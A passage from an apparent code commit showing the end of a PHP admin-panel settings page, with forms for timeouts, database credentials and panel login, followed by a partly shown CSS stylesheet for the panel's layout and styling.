echo('<div class="error">User and password must be at least '.$minChars.' characters long</div>');
}
else
echo('<div class="error">Passwords are not the same</div>');
}
?>
<style>
.content
{
text-align: center;
font-size: 0;
}
.box
{
width: 500px;
font-size: 12px;
}
.left
{
text-align: left;
display: inline-block;
vertical-align:top;
}
.error, .info
{
margin-bottom: 10px;
}
</style>
<div class="left" style="margin-right: 10px;">
<form class="box margin-bottom" method="POST">
<div>Update Timeouts (Seconds)</div>
<input type="hidden" name="time" value="<?php echo($_SESSION['time']); ?>">
<table>
<tr><td>Timeout:</td><td><input type="text" name="timeout_offline" class="input" value="<?php echo $CONF_TIMEOUT_OFFLINE; ?>"></td></tr>
<tr><td>Dead:</td><td><input type="text" name="timeout_dead" class="input" value="<?php echo $CONF_TIMEOUT_DEAD; ?>"></td></tr>
<tr><td></td><td><input type="submit" class="btn" value="Update"></td></tr>
</table>
</form>
<form class="box margin-bottom" method="POST">
<div>Update Database Credentials</div>
<input type="hidden" name="time" value="<?php echo($_SESSION['time']); ?>">
<table>
<tr><td>Host:</td><td><input type="text" name="db_host" class="input" value="<?php echo $CONF_DB_HOST; ?>"></td></tr>
<tr><td>Database:</td><td><input type="text" name="db_name" class="input" value="<?php echo $CONF_DB_NAME; ?>"></td></tr>
<tr><td>Username:</td><td><input type="text" name="db_user" class="input" value="<?php echo $CONF_DB_USER; ?>"></td></tr>
<tr><td>Password:</td><td><input type="password" name="db_pass" class="input"></td></tr>
<tr><td></td><td><input type="submit" class="btn" value="Update"></td></tr>
</table>
</form>
</div>
<div class="left">
<form class="box margin-bottom" method="POST">
<div>Update Panel Credentials</div>
<input type="hidden" name="time" value="<?php echo($_SESSION['time']); ?>">
<table>
<tr><td>Username:</td><td><input type="text" name="user" class="input" value="<?php echo $CONF_PANEL_USER; ?>"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" class="input"></td></tr>
<tr><td>Password Verification:</td><td><input type="password" name="pass2" class="input"></td></tr>
<tr><td></td><td><input type="submit" class="btn" value="Update"></td></tr>
</table>
</form>
</div>
<?php
ui_content_end();
ui_end();
?>

210
panel/style/style.css Normal file
View File

@ -0,0 +1,210 @@
body
{
font-size: 12px;
font-family: Verdana, Geneva, sans-serif;
background: #FFF;
width: 1100px;
margin: auto;
padding-top: 10px;
background: #F2F2F2;
}
.nav
{
padding: 2px 5px;
}
.nav a, .btn
{
border: 1px solid #AAA;
color: rgb(0, 0, 0);
text-decoration: none;
margin-right: -1px;
padding: 2px 20px;
background: #F2F2F2;
background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%);
position: relative;
border-radius: 2px;
}
.btn
{
color: #000;
}
.nav a
{
border-bottom-left-radius: 0px;
border-bottom-right-radius: 0px;
padding: 2px 20px;
}
.nav a:hover, .btn:hover
{
background-image: linear-gradient(to bottom, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%);
}
.nav a.current
{
background: #F7F7F7;
border-bottom: 1px solid #F7F7F7;
padding-top: 4px;
box-shadow: 5px 0 5px -5px #AAA, -5px 0 5px -5px #AAA;
z-index: 1;
color: #000;
}
.nav a.current:first-child
{
box-shadow: 5px 0 5px -5px #AAA;
}
.nav a.current:last-child
{
box-shadow: -5px 0 5px -5px #AAA;
}
.content
{
border: 1px solid #888;
padding: 10px;
background: #F7F7F7;
}
.input
{
padding: 2px;
border: 1px solid #AAA;
border-radius: 2px;
}
form table td:first-child
{
padding-right: 10px;
width: 1%;
}
.box
{
border: 1px solid #888;
padding: 10px;
background: #F2F2F2;
border-radius: 2px;
}
.box div:first-child
{
font-style: bold;
border-bottom: 1px solid #AAA;
margin: -10px;
margin-bottom: 10px;
padding: 5px;
background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%);
}
.box div:first-child:before,
.box div:first-child:after
{
content: '';
color: #AAA;
padding-right: 5px;
padding-left: 5px;
}
.margin-bottom
{
margin-bottom: 10px;
}
.margin-top
{
margin-top: 10px;
}
.center {
margin: 0;
position: absolute;
top: 50%;
left: 50%;
-ms-transform: translate(-50%, -50%);
transform: translate(-50%, -50%);
}
.info, .error, .success
{
padding: 5px 0px;
border: 1px solid;
text-align: center;
font-size: 12px;
}
.info
{
color: #00529B;
background: #f2f2ff;
}
.error
{
color: #D8000C;
background: #ffe5e5;
}
.success
{
color: #00d81d;
background: #ffe5e5;
}
.box .input
{
width: 100%;
}
.table
{
border-collapse: collapse;
width: 100%;
}
.table td, .table th
{
border: 1px solid #AAA;
padding: 5px;
}
.table th
{
font-style: bold;
background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%);
font-weight: normal;
border: 1px solid #888;
}
.table tr:nth-child(even)
{
background: #F7F7F7;
}
.table tr:nth-child(odd)
{
background: #F2F2F2;
}
.disabled
{
pointer-events: none;
cursor: def